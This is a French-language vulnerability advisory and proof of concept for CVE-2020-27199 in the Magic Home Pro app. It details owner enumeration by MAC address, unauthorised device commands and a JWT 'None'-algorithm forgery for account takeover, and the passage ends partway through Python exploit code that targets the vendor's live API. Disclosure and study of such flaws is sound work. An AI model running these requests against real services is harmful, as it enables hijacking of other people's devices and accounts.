
CVE-2020-27199

Plusieurs vulnérabilités ont été découvertes dans l'application mobile Magic Home Pro utilisée pour interfacer avec le kit RGB LED Strip JadeHomic. La plus significative de ces vulnérabilités est un contournement d'authentification (CVE-2020-27199), qui permet en fin de compte la prise de contrôle totale d'un groupe entier d'appareils d'une victime.
magichome-forge.py - Forgeur de JWT, utilisé pour automatiser la prise de contrôle des appareils
magichome-sniffer.py - Sniffeur réseau local qui recherche les appareils vulnérables sur le réseau. Construit une liste d'appareils contre lesquels des attaques peuvent être lancées
magichome-switch.py - Permet l'allumage des appareils
magichome-takeover.py - Charge utile permettant la prise de contrôle réussie du compte d'un utilisateur
Suzhou SmartChip Semiconductor Co.,Ltd
Cette vulnérabilité permet à tout utilisateur authentifié d'utiliser son niveau d'autorisation actuel pour interroger des points de terminaison ne faisant pas partie de ses produits enregistrés, via un appel API à /app/getBindedUserListByMacAddress/ZG001?macAddress=<adresse mac>. Cela entraîne une réponse HTTP qui indique l'existence du point de terminaison et renvoie le nom d'utilisateur, l'identifiant unique utilisateur (userUniID) et l'identifiant unique lié (bindedUniID) du point de terminaison associé.
En utilisant l'interrogation ci-dessus, un attaquant peut ensuite utiliser une requête POST non autorisée vers l'API /app/sendCommandBatch/ZG001, en utilisant l'adresse mac nouvellement énumérée pour envoyer des commandes au point de terminaison distant en utilisant des commandes hexadécimales compatibles 71230fa3 et 71240fa4, entraînant respectivement l'allumage et l'extinction.
Une fois l'énumération initiale terminée, il est également possible de forger un JWT en utilisant le userID et l'uniID dans les données de la charge utile du JWT, ce qui a pour effet de rétrograder le jeton pour utiliser 'None' comme algorithme dans la section d'en-tête du JWT (vulnérabilité de contournement de signature). En utilisant cette vulnérabilité, l'application est susceptible d'être prise en contrôle par un attaquant via l'appel API distant vers /app/shareDevice/ZG001 et en utilisant le paramètre JSON friendUserID pour ajouter l'appareil à la liste d'appareils de l'attaquant, donnant ainsi à ce dernier un contrôle total sur l'appareil cible.
Crédit(s) :
L'OUI décrit l'identifiant unique d'organisation pour les adresses MAC enregistrées auprès d'une organisation. Dans le cas de JadeHomic, l'OUI magique est C8:2E:47, où les trois premiers octets correspondent au fabricant et les trois seconds octets au numéro de série attribué par le fabricant. Dans notre cas, l'identifiant du fabricant est enregistré auprès de Suzhou SmartChip Semiconductor Co., LTD.
Permet le contournement d'authentification de l'application mobile Magic Home Pro et donc le contrôle total de l'ensemble du groupe d'appareils d'un utilisateur victime.
La preuve de concept énumère les derniers octets dans la plage MAC et renvoie les résultats. Elle permet de tester l'« exécution à distance » si vous vous sentez audacieux.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re
'''
global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):